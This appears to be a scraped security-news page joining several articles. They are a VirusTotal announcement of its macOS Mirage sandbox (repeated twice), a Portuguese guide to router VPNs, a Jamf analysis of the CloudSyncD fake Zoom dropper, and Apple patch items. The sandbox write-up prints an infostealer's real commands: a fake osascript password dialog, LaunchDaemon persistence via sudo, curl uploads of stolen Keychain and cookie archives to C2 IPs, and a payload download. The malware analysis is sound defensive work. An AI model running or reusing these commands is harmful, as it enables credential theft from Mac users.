Apple blocks eMudhra certificates across macOS and iOS after weak intermediate keys compromised trust, with CLI tool bundles slated for future updates.
In November 2015, we released our first in-house macOS sandbox, Box of Apples, followed by an update in March 2018 that introduced HTML behavior reports, desktop screenshots, and process trees. Over the past decade, the macOS ecosystem and the threat landscape targeting it have changed dramatically. Apple transitioned its hardware architecture from Intel (x86_64) to Apple Silicon (ARM64), hardened its operating system security model, and deprecated legacy dynamic tracing mechanisms. At the same time, macOS threat actors have shifted toward native ARM64 binaries, multi-stage social engineering installers, credential-harvesting AppleScripts, and evasive infostealers.
Today, we are excited to introduce macOS Mirage, our brand-new, ground-up dynamic analysis sandbox built natively for Apple Silicon and macOS 26. macOS Mirage replaces Box of Apples as part of the VirusTotal Multi-Sandbox project, delivering high-fidelity behavioral telemetry, automated Sigma behavioral detections mapped to MITRE ATT&CK, and—exclusively within our Private Scanning product offering—full Interactive Live Analysis.
Why We Built macOS Mirage: Beyond Box of Apples
Box of Apples was designed for an era of Intel-based Macs and relied on dtrace scripts to monitor system calls. As macOS evolved, two structural shifts required a completely new approach:
Native Apple Silicon (ARM64) Execution: Modern macOS applications and malware families are compiled natively for Apple Silicon or distributed as Universal Mach-O binaries. Running modern samples on legacy Intel hardware either fails outright or misses architecture-specific execution paths. macOS Mirage runs natively on bare-metal Apple Silicon hardware with Apple's native virtualization stack and macOS 26, ensuring authentic execution fidelity.
Modern Kernel-Backed Behavioral Telemetry: In modern macOS releases, System Integrity Protection (SIP) restricts legacy dtrace hooks, and high syscall volumes could cause event drops. macOS Mirage uses modern, kernel-supported macOS security instrumentation to capture process creation, command-line arguments, file system modifications, persistence installation, and access to sensitive credential stores without losing events.
Live Mouse, Keyboard & Clipboard Control(Private Scanning exclusive)
Rich GUI Execution and Persistence Tracking
Many macOS samples package their payloads inside disk images (.dmg) or application bundles (.app) that initialize graphical windows, register background services, or trigger system notifications during execution. macOS Mirage provides full graphics acceleration and desktop monitoring, capturing both visual screenshots and underlying system modifications in real time.
Figure 1: Dynamic detonation of a macOS application in macOS Mirage, capturing both the application GUI and a macOS system notification alerting to a newly registered persistent background Login Item.
Figure 2: Full window management, 3D rendering, and Dock process tracking inside macOS Mirage.
In addition to capturing screenshots to show what a user would see on screen, macOS Mirage automatically monitors security-sensitive locations across the operating system, including:
Persistence Mechanisms:LaunchAgents, LaunchDaemons, Login Items, and cron jobs.
Shell & Environment Profiles: Modifications to .zshrc, .bashrc, .zshenv, and /etc/profile.
Credential & Privacy Stores: Unauthorized access to Keychain databases (login.keychain-db), browser cookie and credential stores, SSH keys, and the Transparency, Consent, and Control (TCC.db) database.
System & Network Configuration: Changes to /etc/hosts, /etc/resolv.conf, and /private/etc/sudoers.
New Behavioral Detections with Sigma Rules: Catching a macOS Info-Stealer in Action
To help analysts quickly identify malicious behavior without sifting through thousands of raw file and process events, macOS Mirage evaluates runtime telemetry against a curated library of macOS Sigma rules and maps every detection directly to MITRE ATT&CK techniques.
When executed inside macOS Mirage, the binary (unix51436504) performs a multi-stage credential theft and persistence chain:
AppleScript Password Phishing: The malware invokes /usr/bin/osascript to display a deceptive system prompt titled "Password Request" asking the user: "Please enter device password to continue."
Local Credential Validation & LaunchDaemon Persistence: It validates the harvested password against local Directory Services (dscl . authonly) and invokes sudo -S to copy /tmp/daemonplist to /Library/LaunchDaemons/com.somedaemon.plist.
Keychain, Browser & Notes Harvesting: The sample opens the user's Keychain (/Users/admin/Library/Keychains/login.keychain-db), Safari cookies (Cookies.binarycookies), Apple Notes database (NoteStore.sqlite), SSH keys (authorized_keys, known_hosts), and .zsh_history, staging the stolen files under /tmp/lksopo while continuously polling the clipboard via pbpaste.
Secondary Payload Download, Exfiltration & Cleanup: Using ditto, the malware compresses the staging directory into /tmp/lksopo.zip, exfiltrates the archive via an HTTP POST request (curl -X POST), downloads a secondary bot payload (curl -o /tmp/binaryexe), and deletes the staging directory (rm -rf /tmp/lksopo) to cover its tracks.
From this single detonation, macOS Mirage automatically generates a high-confidence malicious verdict (macos_osascript_credential_phishing) and triggers 7 distinct Sigma rules spanning the entire attack lifecycle:
Sigma Rule Name
Severity
MITRE ATT&CK
Matched Behavioral Telemetry
macos_osascript_credential_phishing
High
T1059.002, T1056.002
Execution of /usr/bin/osascript displaying fake password prompt: osascript -e set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution
macos_sensitive_credential_store_access
High
T1555.001, T1555.003, T1005
Unauthorized access by ./unix51436504 to /Users/admin/Library/Keychains/login.keychain-db and Safari Cookies.binarycookies
macos_esf_sensitive_file_access
High
T1555.001, T1555.003, T1005
Access to /private/etc/sudoers during privileged persistence installation: sudo -S cp /tmp/daemonplist /Library/LaunchDaemons/com.somedaemon.plist
macos_esf_suspicious_curl_download
Medium
T1105, T1071.001
Downloading secondary stage payload via curl -o /tmp/binaryexe http://193.178.159.129/web/bot
macos_network_upload_activity
Medium
T1041, T1567
Exfiltrating compressed credential archive via curl -X POST -H buildid: ... --data-binary @/tmp/lksopo.zip http://109.238.87.111/log
macos_data_destruction_tools
Medium
T1485, T1070.004
Anti-forensic removal of staging directory via rm -rf /tmp/lksopo
macos_http_tools_with_protocol_indicators
Low
T1071.001, T1105
Automated curl command-line execution with explicit http:// C2 protocol indicators
Hunting Related Threats with VirusTotal Intelligence Pivots
At the time of analysis, sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 was detected by only 6 out of 76 static antivirus engines. Moreover, during execution inside macOS Mirage, the first-stage dropper downloaded and executed a 12.9 MB universal Mach-O second-stage bot (f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c) alongside a LaunchDaemon persistence property list (d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678, 0/75 AV detections). When that second-stage binary is detonated in isolation, it exits in under a second because it depends on hidden state files (~/.bhost, ~/.phost, ~/.username, ~/.pwd) written to disk by the first-stage dropper. Because macOS Mirage tracks the full multi-stage process tree on macOS 26, analysts can pivot directly on runtime command lines, dropped artifacts, network URI patterns, and Sigma detections across VirusTotal Intelligence to uncover entire clusters of active macOS campaigns. For a complete reference of supported file and behavior query syntax, see the VirusTotal Search Modifiers Full List.
1. Process & Command-Line Pivots (behaviour_processes)
Custom Exfiltration curl Headers: Hunts samples exfiltrating staged archives with custom buildid: and username: HTTP headers across rotating C2 servers: behaviour_processes:"curl -X POST -H buildid:"
Exfiltration Collector Server: Pivots on samples posting stolen Keychain, Safari cookie, and Notes archives to 109.238.87.111: behaviour_network:109.238.87.111
Second-Stage Bot C2 Server: Pivots on samples retrieving /web/bot and polling /api/v1/bot/actions/ on 193.178.159.129: behaviour_network:193.178.159.129
Interactive Live Analysis (Exclusive to Private Scanning)
While automated dynamic analysis and Sigma behavioral detections are available on VirusTotal reports, sophisticated macOS threats often require human interaction to detonate completely. Malware may hide behind multi-step custom installer wizards, require a password to unlock a disk image, or pause execution until realistic user input is provided—just like the "Password Request" dialog shown above.
To empower incident responders and malware analysts, Interactive Live Analysis with macOS Mirage is available exclusively as part of our Private Scanning product offering in Google Threat Intelligence and VirusTotal Enterprise:
Real-Time Mouse & Keyboard Control: Analysts can step directly into the running macOS 26 desktop inside their web browser to click buttons, navigate prompts, open Terminal, or manually interact with suspicious applications.
Host-to-Guest Clipboard ("Send as Keystrokes"): Analysts can paste passwords, decryption keys, URLs, or terminal commands from their local workstation directly into the sandbox VM as simulated keystrokes.
Extended Session Timeouts & Network Control: Interactive sessions can run for extended durations (up to 30 minutes) and can be configured with custom network routing modes—including full isolation, simulated internet services, HTTPS MITM inspection, or Tor routing.
Complete Tenant Privacy: All files, interactive sessions, screenshots, and behavioral reports generated in Private Scanning remain strictly isolated within your organization's private environment and are never shared publicly.
Figure 4: Selecting macOS Mirage and enabling Live Interaction inside the Private Scanning configuration modal.
Figure 5: Using the "Send as keystrokes" clipboard bridge during a live interactive macOS Mirage session in Private Scanning.
Try It Out and Share Your Feedback
macOS Mirage is part of our ongoing commitment to expanding multi-platform dynamic analysis across VirusTotal and Google Threat Intelligence. To view the new behavioral reports on public samples, navigate to the Behavior tab on any macOS file report in VirusTotal to inspect process trees, file system changes, network activity, screenshots, and Sigma rule matches. Enterprise customers using Private Scanning can select MacOS Mirage directly from the scan configuration dialog to launch automated or live interactive sessions.
If you find any issues or have feature requests, please don't hesitate to contact us.
A newly marketed macOS malware-as-a-service platform, ICMacOS, is using fake Apple system dialogs to steal login passwords before deploying an information stealer that has evolved into a persistent remote-access trojan (RAT). The operator markets the toolkit across cybercrime forums and Telegram as part of a broader “ICARUS” criminal suite that also includes a ClickFix delivery […]
In November 2015, we released our first in-house macOS sandbox, Box of Apples, followed by an update in March 2018 that introduced HTML behavior reports, desktop screenshots, and process trees. Over the past decade, the macOS ecosystem and the threat landscape targeting it have changed dramatically. Apple transitioned its hardware architecture from Intel (x86_64) to Apple Silicon (ARM64), hardened its operating system security model, and deprecated legacy dynamic tracing mechanisms. At the same time, macOS threat actors have shifted toward native ARM64 binaries, multi-stage social engineering installers, credential-harvesting AppleScripts, and evasive infostealers.
Today, we are excited to introduce macOS Mirage, our brand-new, ground-up dynamic analysis sandbox built natively for Apple Silicon and macOS 26. macOS Mirage replaces Box of Apples as part of the VirusTotal Multi-Sandbox project, delivering high-fidelity behavioral telemetry, automated Sigma behavioral detections mapped to MITRE ATT&CK, and—exclusively within our Private Scanning product offering—full Interactive Live Analysis.
Why We Built macOS Mirage: Beyond Box of Apples
Box of Apples was designed for an era of Intel-based Macs and relied on dtrace scripts to monitor system calls. As macOS evolved, two structural shifts required a completely new approach:
Native Apple Silicon (ARM64) Execution: Modern macOS applications and malware families are compiled natively for Apple Silicon or distributed as Universal Mach-O binaries. Running modern samples on legacy Intel hardware either fails outright or misses architecture-specific execution paths. macOS Mirage runs natively on bare-metal Apple Silicon hardware with Apple's native virtualization stack and macOS 26, ensuring authentic execution fidelity.
Modern Kernel-Backed Behavioral Telemetry: In modern macOS releases, System Integrity Protection (SIP) restricts legacy dtrace hooks, and high syscall volumes could cause event drops. macOS Mirage uses modern, kernel-supported macOS security instrumentation to capture process creation, command-line arguments, file system modifications, persistence installation, and access to sensitive credential stores without losing events.
Live Mouse, Keyboard & Clipboard Control(Private Scanning exclusive)
Rich GUI Execution and Persistence Tracking
Many macOS samples package their payloads inside disk images (.dmg) or application bundles (.app) that initialize graphical windows, register background services, or trigger system notifications during execution. macOS Mirage provides full graphics acceleration and desktop monitoring, capturing both visual screenshots and underlying system modifications in real time.
Figure 1: Dynamic detonation of a macOS application in macOS Mirage, capturing both the application GUI and a macOS system notification alerting to a newly registered persistent background Login Item.
Figure 2: Full window management, 3D rendering, and Dock process tracking inside macOS Mirage.
In addition to capturing screenshots to show what a user would see on screen, macOS Mirage automatically monitors security-sensitive locations across the operating system, including:
Persistence Mechanisms:LaunchAgents, LaunchDaemons, Login Items, and cron jobs.
Shell & Environment Profiles: Modifications to .zshrc, .bashrc, .zshenv, and /etc/profile.
Credential & Privacy Stores: Unauthorized access to Keychain databases (login.keychain-db), browser cookie and credential stores, SSH keys, and the Transparency, Consent, and Control (TCC.db) database.
System & Network Configuration: Changes to /etc/hosts, /etc/resolv.conf, and /private/etc/sudoers.
New Behavioral Detections with Sigma Rules: Catching a macOS Info-Stealer in Action
To help analysts quickly identify malicious behavior without sifting through thousands of raw file and process events, macOS Mirage evaluates runtime telemetry against a curated library of macOS Sigma rules and maps every detection directly to MITRE ATT&CK techniques.
When executed inside macOS Mirage, the binary (unix51436504) performs a multi-stage credential theft and persistence chain:
AppleScript Password Phishing: The malware invokes /usr/bin/osascript to display a deceptive system prompt titled "Password Request" asking the user: "Please enter device password to continue."
Local Credential Validation & LaunchDaemon Persistence: It validates the harvested password against local Directory Services (dscl . authonly) and invokes sudo -S to copy /tmp/daemonplist to /Library/LaunchDaemons/com.somedaemon.plist.
Keychain, Browser & Notes Harvesting: The sample opens the user's Keychain (/Users/admin/Library/Keychains/login.keychain-db), Safari cookies (Cookies.binarycookies), Apple Notes database (NoteStore.sqlite), SSH keys (authorized_keys, known_hosts), and .zsh_history, staging the stolen files under /tmp/lksopo while continuously polling the clipboard via pbpaste.
Secondary Payload Download, Exfiltration & Cleanup: Using ditto, the malware compresses the staging directory into /tmp/lksopo.zip, exfiltrates the archive via an HTTP POST request (curl -X POST), downloads a secondary bot payload (curl -o /tmp/binaryexe), and deletes the staging directory (rm -rf /tmp/lksopo) to cover its tracks.
From this single detonation, macOS Mirage automatically generates a high-confidence malicious verdict (macos_osascript_credential_phishing) and triggers 7 distinct Sigma rules spanning the entire attack lifecycle:
Sigma Rule Name
Severity
MITRE ATT&CK
Matched Behavioral Telemetry
macos_osascript_credential_phishing
High
T1059.002, T1056.002
Execution of /usr/bin/osascript displaying fake password prompt: osascript -e set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution
macos_sensitive_credential_store_access
High
T1555.001, T1555.003, T1005
Unauthorized access by ./unix51436504 to /Users/admin/Library/Keychains/login.keychain-db and Safari Cookies.binarycookies
macos_esf_sensitive_file_access
High
T1555.001, T1555.003, T1005
Access to /private/etc/sudoers during privileged persistence installation: sudo -S cp /tmp/daemonplist /Library/LaunchDaemons/com.somedaemon.plist
macos_esf_suspicious_curl_download
Medium
T1105, T1071.001
Downloading secondary stage payload via curl -o /tmp/binaryexe http://193.178.159.129/web/bot
macos_network_upload_activity
Medium
T1041, T1567
Exfiltrating compressed credential archive via curl -X POST -H buildid: ... --data-binary @/tmp/lksopo.zip http://109.238.87.111/log
macos_data_destruction_tools
Medium
T1485, T1070.004
Anti-forensic removal of staging directory via rm -rf /tmp/lksopo
macos_http_tools_with_protocol_indicators
Low
T1071.001, T1105
Automated curl command-line execution with explicit http:// C2 protocol indicators
Hunting Related Threats with VirusTotal Intelligence Pivots
At the time of analysis, sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 was detected by only 6 out of 76 static antivirus engines. Moreover, during execution inside macOS Mirage, the first-stage dropper downloaded and executed a 12.9 MB universal Mach-O second-stage bot (f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c) alongside a LaunchDaemon persistence property list (d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678, 0/75 AV detections). When that second-stage binary is detonated in isolation, it exits in under a second because it depends on hidden state files (~/.bhost, ~/.phost, ~/.username, ~/.pwd) written to disk by the first-stage dropper. Because macOS Mirage tracks the full multi-stage process tree on macOS 26, analysts can pivot directly on runtime command lines, dropped artifacts, network URI patterns, and Sigma detections across VirusTotal Intelligence to uncover entire clusters of active macOS campaigns. For a complete reference of supported file and behavior query syntax, see the VirusTotal Search Modifiers Full List.
1. Process & Command-Line Pivots (behaviour_processes)
Custom Exfiltration curl Headers: Hunts samples exfiltrating staged archives with custom buildid: and username: HTTP headers across rotating C2 servers: behaviour_processes:"curl -X POST -H buildid:"
Exfiltration Collector Server: Pivots on samples posting stolen Keychain, Safari cookie, and Notes archives to 109.238.87.111: behaviour_network:109.238.87.111
Second-Stage Bot C2 Server: Pivots on samples retrieving /web/bot and polling /api/v1/bot/actions/ on 193.178.159.129: behaviour_network:193.178.159.129
Interactive Live Analysis (Exclusive to Private Scanning)
While automated dynamic analysis and Sigma behavioral detections are available on VirusTotal reports, sophisticated macOS threats often require human interaction to detonate completely. Malware may hide behind multi-step custom installer wizards, require a password to unlock a disk image, or pause execution until realistic user input is provided—just like the "Password Request" dialog shown above.
To empower incident responders and malware analysts, Interactive Live Analysis with macOS Mirage is available exclusively as part of our Private Scanning product offering in Google Threat Intelligence and VirusTotal Enterprise:
Real-Time Mouse & Keyboard Control: Analysts can step directly into the running macOS 26 desktop inside their web browser to click buttons, navigate prompts, open Terminal, or manually interact with suspicious applications.
Host-to-Guest Clipboard ("Send as Keystrokes"): Analysts can paste passwords, decryption keys, URLs, or terminal commands from their local workstation directly into the sandbox VM as simulated keystrokes.
Extended Session Timeouts & Network Control: Interactive sessions can run for extended durations (up to 30 minutes) and can be configured with custom network routing modes—including full isolation, simulated internet services, HTTPS MITM inspection, or Tor routing.
Complete Tenant Privacy: All files, interactive sessions, screenshots, and behavioral reports generated in Private Scanning remain strictly isolated within your organization's private environment and are never shared publicly.
Figure 4: Selecting macOS Mirage and enabling Live Interaction inside the Private Scanning configuration modal.
Figure 5: Using the "Send as keystrokes" clipboard bridge during a live interactive macOS Mirage session in Private Scanning.
Try It Out and Share Your Feedback
macOS Mirage is part of our ongoing commitment to expanding multi-platform dynamic analysis across VirusTotal and Google Threat Intelligence. To view the new behavioral reports on public samples, navigate to the Behavior tab on any macOS file report in VirusTotal to inspect process trees, file system changes, network activity, screenshots, and Sigma rule matches. Enterprise customers using Private Scanning can select MacOS Mirage directly from the scan configuration dialog to launch automated or live interactive sessions.
If you find any issues or have feature requests, please don't hesitate to contact us.
O uso de VPN está crescendo em todo o mundo, com uma média global estável de 20% de crescimento ao ano. Os usuários passaram a valorizar tudo o que uma VPN oferece: ela criptografa sua conexão, protege você contra o rastreamento constante do provedor de Internet (e contra os anúncios direcionados que geralmente vêm com ele), oculta seu endereço IP e sua localização e permite que você continue usando seus serviços pagos favoritos durante viagens. Isso é especialmente importante em grandes eventos públicos, como torneios internacionais de futebol, os Jogos Olímpicos ou shows de artistas populares, quando aumenta consideravelmente a probabilidade de golpistas interceptarem uma conexão Wi-Fi desprotegida.
Dito isto, as VPNs também têm seus próprios inconvenientes. Um dos maiores é que muitos dispositivos inteligentes, incluindo TVs, consoles de videogame, dispositivos de streaming e dispositivos de casa inteligente, não têm suporte a VPN. Além disso, normalmente é preciso configurar a VPN separadamente em cada dispositivo da sua casa. Instalar a VPN diretamente no roteador resolve os dois problemas de uma só vez: protege toda a sua rede doméstica, incluindo os novos dispositivos adicionados. Veja mais de perto quais são os benefícios dessa configuração.
1. Todos os dispositivos recebem proteção de VPN
Ative uma VPN no roteador e todos os dispositivos conectados ao seu Wi-Fi doméstico enviarão automaticamente o tráfego por meio dessa conexão protegida e criptografada. Não é preciso fazer mais nada: conecte seu celular, laptop ou TV ao Wi-Fi e o tráfego já será roteado pela VPN.
Muitos serviços de VPN pagos limitam o número de dispositivos que podem ser usados em uma única assinatura. Mas o roteador conta apenas como um dispositivo nessa lista, mesmo que possa proteger uma dúzia ou mais de dispositivos na sua casa ao mesmo tempo.
Vale observar que a instalação de uma VPN em um roteador normalmente só é possível com serviços de VPN pagos. Os planos gratuitos geralmente não oferecem essa opção ou permitem seu uso de forma muito limitada.
2. Configure uma vez e esqueça
Configurar uma VPN em todos os celulares e computadores da casa pode ficar cansativo rapidamente. E, se os dispositivos da sua casa usam diferentes sistemas operacionais, primeiro é preciso localizar as configurações de VPN em cada um deles, pois Android, Windows, iOS e macOS lidam com isso de maneiras diferentes.
Com a configuração no roteador, você configura a VPN uma vez e ela também cobre automaticamente qualquer novo dispositivo que conectar posteriormente.
3. Proteção até para dispositivos que não têm suporte a VPN
Muitos dispositivos não conseguem executar uma VPN. Isso inclui TVs inteligentes, dispositivos de streaming, consoles de videogame e praticamente todos os dispositivos de casa inteligente disponíveis, de babás eletrônicas a aspiradores de pó robôs. Uma VPN no roteador protege todos eles, sem que você precise alterar separadamente as configurações do aspirador de pó ou da lâmpada inteligente.
4. Não há necessidade de se preocupar em ativar e desativar a VPN
Muitas pessoas querem garantir que nem um único byte de seus dados saia do dispositivo antes que a VPN seja ativada. O problema é que sempre existe um pequeno intervalo entre ligar um computador ou celular e a ativação da VPN e, durante esse intervalo, os dados trafegam pela Internet sem criptografia.
As soluções mais comuns são ativar recursos especiais, como Always On VPN ou um Botão de emergência da VPN, no sistema operacional ou no aplicativo da VPN. Uma opção mais eficaz, porém, é executar a VPN no próprio roteador. Dessa forma, a regra de “nenhum byte sem a VPN” passa a valer automaticamente para todos os dispositivos da sua rede doméstica. Mas, para ter total tranquilidade, ainda é recomendável configurar um botão de emergência também no roteador, para que, se a VPN for desconectada (por exemplo, se o servidor VPN ficar temporariamente indisponível), seus dispositivos percam completamente a conexão com a Internet, em vez de voltarem para uma conexão desprotegida.
5. Trabalhe remotamente com duas VPNs ao mesmo tempo
Outro problema comum é precisar executar dois serviços de VPN simultaneamente. Isso geralmente acontece no trabalho remoto: você precisa de uma VPN corporativa para se conectar à rede da empresa e, ao mesmo tempo, quer usar uma VPN pessoal para todo o resto. Em muitos dispositivos, executar duas conexões VPN simultaneamente para finalidades diferentes é difícil de configurar ou simplesmente não é possível. Ficar alternando constantemente entre as duas também não é conveniente e abre brechas de privacidade e segurança.
Uma VPN no roteador também resolve isso. Basta ativar a VPN corporativa no computador de trabalho, e ela será executada sobre a conexão Wi-Fi, que já está protegida pela sua VPN pessoal no roteador. Na prática, uma VPN fica dentro da outra (VPN corporativa → Wi-Fi → VPN → Internet), mas essa configuração em camadas raramente causa problemas.
6. Contorne aplicativos que bloqueiam VPNs
Alguns aplicativos bancários e de streaming podem detectar quando um aplicativo de VPN está em execução no seu dispositivo e simplesmente se recusar a funcionar. Normalmente, eles não conseguem identificar que tipo de VPN é nem por que você a está usando. Eles simplesmente não aceitam nenhuma conexão VPN ativa. Se a VPN for executada no roteador, em vez de no próprio dispositivo, esse problema desaparece.
7. Proteja convidados na sua rede doméstica
Qualquer dispositivo de amigos ou familiares que se conecte ao seu Wi-Fi também recebe automaticamente a proteção da VPN, sem que seja necessário fazer qualquer configuração no dispositivo deles.
8. Menor carga sobre seus dispositivos
Como o roteador cuida da carga de trabalho de criptografia, seus celulares, tablets e outros dispositivos mais simples podem usar menos poder de processamento e consumir menos bateria do que consumiriam se executassem a VPN diretamente.
9. Gerenciamento simplificado da VPN
Precisa trocar de servidor VPN, alterar protocolos ou ajustar outras configurações? Basta fazer isso uma vez, no roteador. Não é preciso reconfigurar cada dispositivo separadamente.
Precauções e pontos importantes
Apesar de todas as suas vantagens, executar uma VPN no roteador também envolve algumas desvantagens que vale a pena conhecer.
Criptografar o tráfego de uma rede inteira exige um poder de processamento considerável, portanto, em um roteador com capacidade insuficiente, a velocidade da conexão pode acabar limitada.
Alguns roteadores não têm suporte a VPN ou funcionam apenas com protocolos mais antigos e menos seguros, como PPTP.
Se o roteador foi fornecido pelo seu provedor de Internet, talvez você não tenha permissões suficientes para instalar uma VPN nele.
Em qualquer um desses casos, você pode comprar um roteador mais potente com suporte a VPNs e usá-lo no lugar do equipamento fornecido pelo provedor ou junto com ele, configurando sua rede doméstica e sua VPN no seu próprio equipamento.
Nessa configuração, seus dispositivos se conectam da seguinte maneira: dispositivo → Wi-Fi ou Ethernet → VPN pessoal no roteador → Internet. Para computadores que também se conectam a uma VPN corporativa, o caminho parece um pouco diferente: dispositivo → VPN corporativa no dispositivo → Wi-Fi ou Ethernet → VPN pessoal no roteador → Internet.
Se não for possível conectar seu próprio roteador diretamente à rede do provedor porque o modelo não tem a porta adequada (por exemplo, no caso de uma conexão de fibra), você pode usar um cabo Ethernet para conectar a entrada do seu roteador pessoal ao equipamento do provedor. Nesse caso, você pode colocar o roteador fornecido pelo provedor no modo bridge ou simplesmente desativar o Wi-Fi dele para evitar interferências sem fio desnecessárias, já que sua única função agora é conectar-se à rede do provedor e transmitir essa conexão ao seu próprio roteador.
Também vale observar que alguns serviços on-line, como bancos, sites governamentais, lojas on-line e plataformas de streaming, podem restringir ou bloquear totalmente o acesso quando detectam um endereço IP estrangeiro por meio de uma VPN. Para contornar isso, você pode desativar o Wi-Fi do celular e usar os dados móveis ou adotar uma abordagem mais sofisticada para a configuração do roteador, conforme descrito abaixo.
A maioria dos roteadores modernos permite criar mais de uma rede Wi-Fi, geralmente oferecendo pelo menos uma rede doméstica e uma rede para visitantes, cada uma com suas próprias configurações. Você pode usar esse recurso para criar duas redes: uma com a VPN sempre ativada e outra sem VPN. Assim, para serviços que não funcionam bem com VPNs, basta mudar para a rede Wi-Fi não protegida.
Se estiver disposto a dedicar um pouco mais de tempo à configuração, há uma opção ainda mais prática, conhecida como túnel dividido: configurar individualmente determinados serviços ou sites para ignorarem a VPN, enquanto todo o restante continua passando normalmente pela sua conexão VPN segura. Para fazer isso, será necessário especificar os endereços dos sites que devem ignorar a VPN.
Muitos roteadores com recursos avançados também permitem dividir os dispositivos da sua casa em grupos e definir regras de conexão diferentes para cada grupo. Dessa forma, você pode configurar sua TV inteligente para acessar serviços de streaming sem VPN, enquanto seus dispositivos de casa inteligente, computadores e celulares se conectam à Internet exclusivamente pelo canal protegido.
Como configurar uma VPN no roteador
Configurar uma VPN no roteador pode parecer mais complicado do que instalá-la em dispositivos individuais, mas proporciona muito mais praticidade e proteção para toda a sua rede doméstica.
Para isso, você precisará de um roteador com suporte a VPN e de uma assinatura de um serviço de VPN que possa gerar arquivos de configuração para roteadores usando protocolos de VPN modernos. O Kaspersky VPN é compatível com os dois protocolos de VPN mais usados, OpenVPN e WireGuard, para conectar roteadores ao serviço.
Você pode criar um Kaspersky VPN arquivo de configuração para o seu roteador seguindo nosso guia detalhado. Para obter instruções específicas para o modelo do seu roteador, recomendamos pesquisar on-line ou perguntar a um assistente de IA algo como “como configurar uma VPN no {modelo do seu roteador}“.
Apple has announced plans to strengthen macOS controls for Full Disk Access, citing concerns that increasingly autonomous AI agents could raise privacy and security risks by giving applications extensive access to users’ devices. In a developer update on October 2, Apple stated it will introduce additional controls for macOS Full Disk Access, a powerful permission […]
Jamf Threat Labs details CloudSyncD, a fake macOS Zoom installer that hides a phished password using invisible zero-width Unicode characters.
Jamf Threat Labs found CloudSyncD while doing routine scanning on VirusTotal, buried inside a disguised Zoom client. They first spotted it on September 15, clearly still under construction, and within two days watched it move from a private test address to live command-and-control infrastructure on real domains. That’s a fast turnaround for something that started as an obviously unfinished build.
The delivery method is a classic macOS trick, made to look like a normal installer. The disk image opens as a volume called Zoom, with an app icon and an Applications shortcut. The background image then guides the victim step by step on how to bypass Gatekeeper, because the app is only ad-hoc signed and macOS would normally block it.
After the app starts, a fake dialog asks for the user’s password, claiming it is needed to continue the installation. The prompt keeps appearing until the password is correct.
“Once a password is entered, the dropper validates it against the local account using dscl and does not continue until the check succeeds.” reads the analysis published by Jamf Threat Labs. “After the password has been validated a fake progress window reading Downloading Zoom... appears.”
The captured password doesn’t get sent anywhere immediately. It gets base64 encoded, padded with a random amount of filler text, and buried inside a field that looks like an innocent cache value in a fake settings file named data.json. Nothing about that file screams malicious on a casual read, since it’s formatted to look exactly like ordinary application preferences with a theme and a language setting.
The trick used to find the hidden password is also where the file gets its name. After the visible version number, 1.0.0, there are 48 invisible Unicode characters. They are zero-width spaces and zero-width non-joiners, so they cannot be seen in normal text. When decoded, they tell the malware where the real password starts and how long it is inside the padded text. The amount of filler changes each time, so the password is hidden in a different position on every run, while the technique stays the same.
The malware does not download the payload separately. The full payload is already inside the dropper as a universal Mach-O file. It first tries to run the payload directly from memory through an anonymous file descriptor, avoiding writing it to disk. On most Macs, however, System Integrity Protection blocks this method. Jamf also saw the attempt fail during testing and recorded the exact error. When the fileless method fails, the malware writes the payload to a temporary file and runs it with sudo, using the password it just stole to get the privileges it needs.
“The dropper does not download its payload. It carries a complete universal Mach-O inside itself, roughly 756 KB in the development build, and extracts it at runtime. The same payload is also present on disk inside the application bundle, so the dropper has two sources for it. The dropper first writes the payload to an anonymous file descriptor and attempts to execute it through /dev/fd, presumably to avoid writing the Mach-O to disk.” continues the analysis. “In our testing this failed, with the dropper logging /dev/fd spawn failed rc=13. This technique will fail on the majority of macOS systems due to System Integrity Protection. Upon failure, it uses mkstemp to write the file temporarily to disk, then executes it using sudo along with the collected user’s password.”
A cleanup script follows, assembled at runtime from scattered obfuscated fragments and designed to swap in a replacement app bundle before deleting itself either way. In the builds Jamf actually recovered, though, the replacement bundle simply doesn’t exist, so this entire swap mechanism never fires. It’s a feature built and wired up for a payload that hadn’t shipped yet.
The second stage, which Jamf calls cloudsyncd after its disguised daemon name, is a fairly restrained implant once it’s actually running. It doesn’t set up persistence, doesn’t install a LaunchAgent, doesn’t rename itself to blend in the way its own configuration suggests it’s designed to. It just builds a working directory, logs its activity with encrypted records, and checks in with its server every 8 to 16 seconds carrying nothing but a hardware identifier.
The more interesting part is what happens after the malware checks in with its server. The server can send back either a compressed archive to unpack or a complete executable to run. So the backdoor is not limited to sending individual shell commands. It can deliver and run entire programs, which gives defenders a different clue to look for: a suspicious new file being created or executed rather than a series of strange terminal commands.
By the time Jamf published its research, the malware had moved beyond testing and was communicating with two live domains. Both were registered through the same registrar in 2011 and were protected by Cloudflare. At the time, neither domain was detected as malicious. All the samples also used the same encryption key and initialization vector. That means a single sample recovered by Jamf could potentially be used to decrypt the network traffic of other versions of the malware.
“CloudSyncD is a good reminder that although infostealers may dominate the threat landscape, attackers still have use for quieter malware that lies low until further access is needed.” concludes the report. “Its behaviors illustrate how macOS malware continues to move toward native implementations, string protection, and execution paths that attempt to avoid writing payloads to disk, while still depending on the oldest technique available: asking the user for their password.”
Apple has released iOS 26.7.1 and iPadOS 26.7.1 to address CVE-2026-86950, a CoreGraphics vulnerability the company says may have been used in targeted attacks. The updates came out on September 28, 2026, along with matching fixes for macOS Tahoe 26.7.1 and macOS Sequoia 15.8.1.The flaw is in CoreGraphics, a core Apple framework that handles graphics rendering. According to Apple, processing a maliciously crafted file may lead to arbitrary code execution. In practice, an attacker could run their own code on a vulnerable device by getting it to open a specially prepared file.Apple described the root cause as an out-of-bounds write issue. This type of memory bug happens when software writes data past the edge of the memory area set aside for it. The company said it fixed the problem with improved bounds checking.In its advisory, Apple stated: "Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 27."Apple credited Meta Product Security with reporting the vulnerability.
Devices Covered by the iOS and iPadOS Update
